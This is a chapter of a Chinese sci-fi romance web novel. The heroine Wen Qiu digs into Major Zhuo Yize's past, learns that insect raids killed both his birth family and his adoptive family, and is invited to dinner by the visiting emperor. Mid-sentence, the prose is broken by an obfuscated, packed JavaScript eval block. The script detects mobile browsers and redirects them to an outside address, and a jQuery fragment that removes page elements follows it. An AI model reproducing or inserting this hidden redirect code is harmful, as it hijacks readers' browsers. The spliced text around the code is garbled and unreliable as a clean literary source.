闻鹙感觉卓亦泽是有事瞒着她。


    卓亦泽很少在家，这几天似乎比平时更忙。闻鹙又刚好不去学院，在家里待着，就有了很多时间去寻找答案。


    他不告诉她，那她就自己发现。她又进了地下室，但这一次知道这里有什么，所以讲究一个效率和目的。她没有找到一点有关他们在讨论的事情线索，然而却让注意力不断落在那两张在上一次来到的时候发现的合照上。


    不同的家庭成员，但都有卓亦泽的身影。


    闻鹙回想起那天，她驾驶机甲在边境外遇到虫群，卓亦泽在最后一刻挡在她身前的样子，就好像他不在乎他会死在那天。


    她无法把当时的画面从记忆中消去，依然能闻到当时漫天的血液和他身上强烈信息素的气味。


    保姆机器人待在这座房子里是最久的。闻鹙在院子的晾衣绳这边找到它，把这两张合照拿给它看，旁敲侧击地问：“这些是卓亦泽的家人吗？”


    “抱歉，闻鹙小姐，对这个问题，我的信息库里并没有相关资料，无法回答。”保姆机器人的机械眼缩小又扩散，扫描了一下她手里的照片。


    “那你见过他们吗？”闻鹙继续追问。


    “抱歉，闻鹙小姐，我无法回答这个问题。”保姆机器人说。


    闻鹙：“我现在也拥有你的命令权，我要你回答。”


    “抱歉，闻鹙小姐——”


    “我知道知道，无法回答。”闻鹙无奈，觉得从这个铁脑袋问不出什么有用的。


    闻鹙左思右想，又依稀想起了昨天总司令和卓亦泽交谈的话。总司令在B101星球认识卓亦泽的最早，说不定他会知道些什么。


    总司令昨天经受的够呛，现在还没缓过来。强烈刺激的腺牙有一些痒，他浑身不太舒服地坐在治安官机构的办公室里，不允许别人打扰。他正在用手指触碰腺牙的时候，门被一个治安官打开。


    “我说过今天谁也不准打扰。”他先说，再抬眼看见了治安官身边的闻鹙。


    手指失措地一下子戳进嘴里，让总司令立刻咳嗽了两下。他慌忙起身，不明白地看过去。


    来的治安官说：“这位闻鹙小姐，说是卓少校托她有事找你。”


    一旁的闻鹙打扮得体，披着透着白皙皮肤的黑纱，心说拿出卓少校这副牌真是万能。


    总司令挥了挥手让手下离开，直到看见今天的闻鹙戴了颈环，才稍微放松地说：“闻鹙小姐，卓少校是让你带过来什么消息吗？”


    他怎么都没想到，闻鹙会一个人出现在他的面前。他说不清心里到底是害怕丢失理性，还是害怕卓少校。


    闻鹙为了今天能顺利挖出点情报，情愿戴上平日怎么都不喜欢戴的颈环。不是因为颈环接触皮肤不舒服，而是她总有种束缚的讨厌感，所以能不戴就不戴。


    “啊，对。”闻鹙差点忘了走进来的理由，视线扫过房间说，“他，他来让我给你托句话，让你，改天去找他玩。”


    “玩？”总司令不觉得只是卓亦泽嘴里能说出的字。


    闻鹙点点头，注意力早已经落在了那张总司令和卓亦泽的两人合照上。她飞快走过去，拿起来啧啧一句：‘没想到总司令也有没秃……年轻的时候啊，挺一表人的。”


    总司令听到第一美人闻鹙的称赞，刚才疑虑就立刻被打散，一笑：“年纪大了，看不出来了对吧？”


    “不会，仍然还有一些风采在。”闻鹙用手指挠挠脸颊，话锋一转，“照片上的卓亦泽看起来也比现在要年轻一点，总司令认识他很久了吗？”


    “好多年了，实际上，卓亦泽小时候也在B101星球生活过，所以陛下才会把他派到这里。”总司令说。


    “小时候，卓亦泽出生在这里？”闻鹙忍不住看过去。


    “卓亦泽是诸旭帝国的功臣，然而他到底来自哪里，对他人来说仍然是个谜。”这时，却不是总司令的声音，一个陌生的男人声音从门口那里响起。


    闻鹙和总司令同时看过去，一个满身矜贵的年轻Alpha站在他们的眼前。闻鹙不知道是否Omega天生对Alpha的敏感，在看到他第一眼，就感觉这个人不是一般人，一身银白色的袍服既传统优雅又科技感鲜明，长相清秀，在这种到处都是机器人的时代里居然会让她想起了公子如玉这个词。


    不过，闻鹙在卓亦泽那般俊美下早已经有了阈值，也不会过多注意。


    “你开始把我搞糊涂了，卓亦泽小时候住在这里，但是不是出生在这里？”她只关心这件事地说。


    闻鹙在这边是很自然地说话，但她身旁的总司令却脸色发白，好像是想对闻鹙提醒什么，然而却一句话都说不出来。


    直到总司令好不容易大喘气，缓了过来。闻鹙只听身边扑通一声，看见这个治安官机构里最高的官人居然下跪了。


    闻鹙：他这是什么问题？


    “见过陛下。”总司令诚惶诚恐地说，“我不明白，怎么会，陛下怎么会突然，我是说……”


    诸旭帝国的皇帝柳青漪，居住在皇城，很少会前往别的星球。如果要出行到别的地方，也一定是全民皆知的大事。然而，如今的他，却是一个人站在总司令的面前，让他完全懵逼，语无伦次到不知道该说什么。


    “陛下？这个人是皇帝？”闻鹙下意识伸手指着柳青漪。


    总司令再次一脸惊吓：“不得无礼，闻鹙小姐，快放下手。”


    “没关系。”柳青漪微笑，朝闻鹙打量过来说，“我看过一部你出演的电影，我很喜欢你的表演，很让我，投入。”


    闻鹙觉得这个皇帝和想象中的不一样，挺随和。但碍于他毕竟是皇帝，闻鹙就也礼貌地说：“谢谢，陛下。”


    她也纠结起来。刚才好不容易问到了关键，现在皇帝居然在这里，闻鹙感觉不好再开口问下去，可是心里又有一部分又觉得下次就没有这么好的机会了。


    犹犹豫豫，闻鹙最终赌一把不会搞出个欺君之罪地说：“那个陛下，你有多了解卓亦泽？”


    “他和我的年龄相差无几，我小时候就已经认识他了，也算略知。你很想了解他吗？”柳青漪说着，抬眼更仔细打量起来闻鹙。


    很意外，柳青漪还是第一次看到一个平民居然感这么正视着他，而不怕他。


    嗅到了一丝淡淡的被颈环抑制的信息素气味，柳青漪心说：高等级的Omega吗？


    总司令在一旁说明：“卓少校暂时帮忙照顾她。”


    “这样。我想也的确如此，像闻鹙小姐如此的Omega，也只有卓亦泽会继续让你维持未被标记的状态了。”柳青漪若有所思，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076384|163399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说，“不过，卓亦泽居然会照顾一个Omega吗？”


    “这很奇怪吗？”闻鹙想了想，说，“我已经不是第一次听别人这么说了，我觉得卓亦泽能照顾人，不是什么太奇怪的事吧？他又不是什么吃人的恶魔。”


    柳青漪一笑：“相信我，他可能比吃人的恶魔还要可怕，在需要他可怕的时候。”


    他话中有话，闻鹙回想起第一次见到卓亦泽的时候，看到他在监督着手下们惩罚罪犯的样子，冰冷，沉默，颓废，好像杀死别人，或者被杀，都不会激起他一丝的情绪变化。


    “卓亦泽当年是被捡进来的军队。虫族袭击城市，收养他的家人都被杀死，只有他幸免于难被一个士兵发现。”柳青漪回答了她的疑惑。


    “收养……这就解释了为什么合照上会有两张。”闻鹙明白了。一张可能是他的家人，另一张是收养他的家人。


    “那他的亲生家人，你们都没有见过吗？”闻鹙又问。


    “那个年代虫族肆掠，很多人都被虫族所杀，恐怕原因也是同一个。”总司令说。


    闻鹙一怔，不自觉攥手：“他的亲生家人和收养他的家人，都被虫族杀死了？”


    她无法想象这会是什么感受。亲生家人被虫族所杀，好不容易被领养了，从合照上看待他也很好，好不容易得到的新家人却又被虫族杀死，这好比是在尚未愈合的伤口上又狠狠剐了一下，卓亦泽当时才多大，还只是个少年，比她现在还小。


    “他一定很恨虫族，不止如此，”闻鹙终于明白了为什么卓亦泽面对虫族的时候，总是不在乎自己的性命，“他或许对自己也……”


    她心里突然有些莫名堵得慌。


    “伤痛造就了强大的战士，而时代需要卓少校这样的人。”总司令说，“或许，对陛下，对帝国来说，这也算是一场幸运吧。”


    柳青漪没有说话，看去在那里低头抿唇的闻鹙。她渐变色的紫发，在窗前覆上了一层柔光，她很明艳，但在同时又有一股平常Omega身上没有的韧性。


    他顿了一下，等她再抬头，他已经是无害的微笑说：“闻鹙小姐，还有什么问题吗？”


    闻鹙摇摇头。她觉得卓亦泽的过去很糟糕，说不上心里到底心疼，还是同情，只是都变成了一种生气。


    “既然如此。”柳青漪走近了几步，在那一刻，一股很奇特的Alpha信息素的味道让闻鹙感到身体无法动弹。就像是某种会激发你生存本能的一种触发信号，闻起来像是上等的丝绸却在阴冷的环境中散发的味道。


    闻鹙看去柳青漪的微笑。他似乎和卓亦泽一样，即便他表面上看起来是在笑着，她却怎么都看不透他。


    “闻鹙小姐，可以让我问你几个问题吗？”柳青漪拿出了一张光色流转的卡片，说，“我会在这里等你，就当是我想要与你共度晚餐。”


    那边的总司令诧异着看着那张卡片，那是B101星球上最高档的餐厅地址。身为皇帝的柳青漪，不仅悄无声息来到了这里，居然还会邀请一个平民Omega？


    如同知道卓亦泽照顾闻鹙一样，柳青漪的这个行为，让总司令也同样感到震惊。


    “问题？问我什么？”闻鹙看着柳青漪说。


    柳青漪看着她接过卡片后，说：“有关你和虫族机甲的问题。”